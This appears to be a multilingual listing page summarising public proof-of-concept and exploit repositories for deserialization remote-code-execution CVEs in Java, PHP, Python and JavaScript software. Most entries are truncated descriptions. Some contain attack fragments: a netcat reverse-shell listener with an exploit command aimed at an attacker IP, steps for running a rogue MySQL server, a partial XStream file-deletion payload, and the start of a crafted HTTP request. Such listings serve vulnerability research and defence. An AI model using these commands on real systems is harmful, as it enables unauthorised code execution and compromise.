CVE-2021-36981

CVE-2021-36981 Verinice.Pro 1.22.1 Unsafe Java deserialization of untrusted data, leading to Remote Code Execution using C3P0 gadget authenticated PoC code to exploit the deserialization vulnerability. See...

Spring-Web-5xx-Mitigated-version

Spring-Web-5xx-Mitigated-version Overview This mitigated version of Spring Web 5.x.x is specifically crafted to address critical vulnerabilities detected by multiple vendors using Sonatype and Mend. The vulnerabilities, identified under the CVE-2016-1000027 advisory, pose a risk of remote code...

cve-2025-55182-analysis

CVE-2025-55182 — React सर्वर घटकों का RCE विश्लेषण वेब एप्लिकेशन भेद्यता विश्लेषण · M2 Cybersecurity · 2025 लेखक: Niane Mohamed · LinkedIn React सर्वर घटकों में एक क्रिटिकल CVSS 10.0 असुरक्षित विसीरियलाइज़ेशन भेद्यता का अंत-से-अंत शोषण श्रृंखला, टोही से लेकर अप्रमाणित रिमोट कोड निष्पादन तक, पूर्ण...

CVE-2025-50460

CVE-2025-50460: Remote Code Execution in modelscope/ms-swift via unsafe PyYAML deserialization Status: Awaiting Analysis This CVE record has been marked for NVD enrichment efforts. A remote code execution RCE vulnerability exists in the ms-swift project version 3.3.0 due to unsafe deserialization...

CVE-2025-50461

CVE-2025-50461: Remote Code Execution via Unsafe Model Deserialization in Verl Status: RESERVED This CVE ID has been assigned but is not yet published in the official CVE list. A deserialization vulnerability exists in Volcengine's verl 3.0.0, specifically in the scripts/modelmerger.py script whe...

CVE-2019-17564-FastJson-Gadget

CVE-2019-17564 FastJson + SpringFramework Gadget for Dubbo 2.7.3 हमारा पूरा लेख https://www.checkmarx.com/blog/apache-dubbo-unauthenticated-remote-code-execution-vulnerability पर उपलब्ध है ध्यान दें कि यह एक शोषण नहीं है ; यह एक POC गैजेट श्रृंखला है जिसका उपयोग उन स्कोपों में deserialization...

Telerik-UI-ASP.NET-AJAX-Exploitation

Telerik-UI-ASP.NET-AJAX-Exploitation رفع الملفات غير المقيد عبر التشفير الضعيف للنسخ المتأثرة CVE-2017-11317 2. تنفيذ التعليمات البرمجية عن بُعد عبر إلغاء التسلسل غير الآمن - CVE-2019-18935...

CVE-2025-50472

CVE-2025-50472 ModelScope Ms-Swift ModelFileSystemCache Deserialization of Untrusted Data Remote Code Execution Vulnerability RCE PoC I uploaded a code repository containing a malicious .mdl file to ModelScope for testing purposes. It can be used directly during testing. The link is:...

CVE-2023-43208_Detection_PoC

CVE-2023-43208DetectionPoC Use java.net.InetAddress for detection POST /api/users HTTP/1.1 Host: ip:8443 User-Agent: Mozilla/5.0 X11; CrOS x8664 14541.0.0 AppleWebKit/537.36 KHTML, like Gecko Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Length: 1964 Content-Type: application/xml...

CVE-2025-22777

CVE-2025-22777 GiveWP – दान प्लगइन और फंडरेजिंग प्लेटफॉर्म = 3.19.3 - अप्रमाणित PHP ऑब्जेक्ट इंजेक्शन विवरण GiveWP – डोनेशन प्लगइन और फंडरेजिंग प्लेटफॉर्म प्लगइन वर्डप्रेस के लिए, सभी संस्करणों में 3.19.3 तक, डोनेशन फॉर्म से 'company' पैरामीटर के माध्यम से अविश्वसनीय इनपुट के डिसीरियलाइजेशन के का...

CVE-2026-45034

🧨 Exploit de désérialisation PHPSpreadsheet Phar Contournement deprohibitWrappers + Exécution de code à distance RCE sur phpoffice/phpspreadsheet Ce dépôt fournit un exploit preuve de concept PoC pour une vulnérabilité critique dans la bibliothèque PHP populaire PHPSpreadsheet. L'attaque abuse du...

CVE-2025-27520-PoC

CVE-2025-27520 — محاكاة تعليمية آمنة / PoC منصة تجريبية ⚠️ مهم: هذه محاكاة تعليمية آمنة للثغرة CVE-2025-27520. يتضمن المشروع خدمة محاكاة Flask وماسح PoC آمن Python. تقوم المحاكاة بإنشاء ملف إثبات في data/ عند استلام رمز اختباري، بدلاً من تنفيذ أوامر عشوائية. 📋 محتويات المستودع CVE-2025-27520-final...

CVE-2020-26259

Description XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights. Influence Xstream \n" + " \n" + " \n" + " 0\n" + " \n" + " \n" + " \n" + " text/plain\n" + " \n" + " C:\Al1ex.txt\n" + " \n" + " \n" + " \n"...

CVE-2019-12086

Documentation CVE-2019-12086 jackson unserialize Vulnerability Exploitation 1. Start a malicious MySQL server: python roguemysqlserver.py 2. Check mysql.log in the same directory: tail -f mysql.log 3. Send the following JSON to the vulnerable application:...

Oracle-WLS-Weblogic-RCE

Oracle-WLS-Weblogic-RCE CVE-2019-2725 Oracle WLSWeblogic RCE test sciript CVE-2019-2725 is a deserialization vulnerability in Oracle WebLogic Server. This remote code execution vulnerability is remotely exploitable without authentication. This script which check the presence or absence of a page ...

rpc-rce.py

rpc.py RCE Exploit CVE-2022-35411 This is an updated and improved exploit for CVE-2022-35411 , targeting vulnerable versions of rpc.py Original exploit by : Elias Hohl Enhanced by : x7331 for usability, portability, and automation Vulnerability Summary The vulnerability lies in rpc.py's unsafe...

CVE-2025-53770

CVE-2025-53770 SharePoint Description The deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code remotely and compromise the system. Microsoft is aware of active exploitation and is preparing a comprehensive update. Ensure that mitigations...

CVE-2023-43208

Mirth Connect दूरस्थ कोड निष्पादन - CVE-2023-43208 विवरण Mirth Connect दूरस्थ कोड निष्पादन RCE के लिए PoC XStream deserialization के माध्यम से Mirth Connect उदाहरण लिसनर प्रारंभ करें nc -lvnp 4444 एक्सप्लॉइट चलाएं ./exploit https://target.com 10.10.10.10 4444 संदर्भ...

CVE-2025-55182-React2Shell-CVSS-10.0-

प्रभावित सॉफ्टवेयर: React Server Components संस्करण 19.0.0, 19.1.0, 19.1.1, 19.2.0 भेद्यता प्रकार: Pre-authentication Remote Code Execution via insecure deserialization. विवरण: React Server Flight प्रोटोकॉल में एक दोष के कारण अप्रमाणित हमलावर विशेष रूप से तैयार किए गए सीरियलाइज्ड पेलोड भेज सकते ह...

CVE-2025-55182

CVE-2025-55182 Scanner A proof-of-concept scanner for CVE-2025-55182 , a critical unauthenticated Remote Code Execution RCE vulnerability in React Server Components RSC. Overview On December 3, 2025, a critical vulnerability was disclosed affecting React 19.x and Next.js applications using React...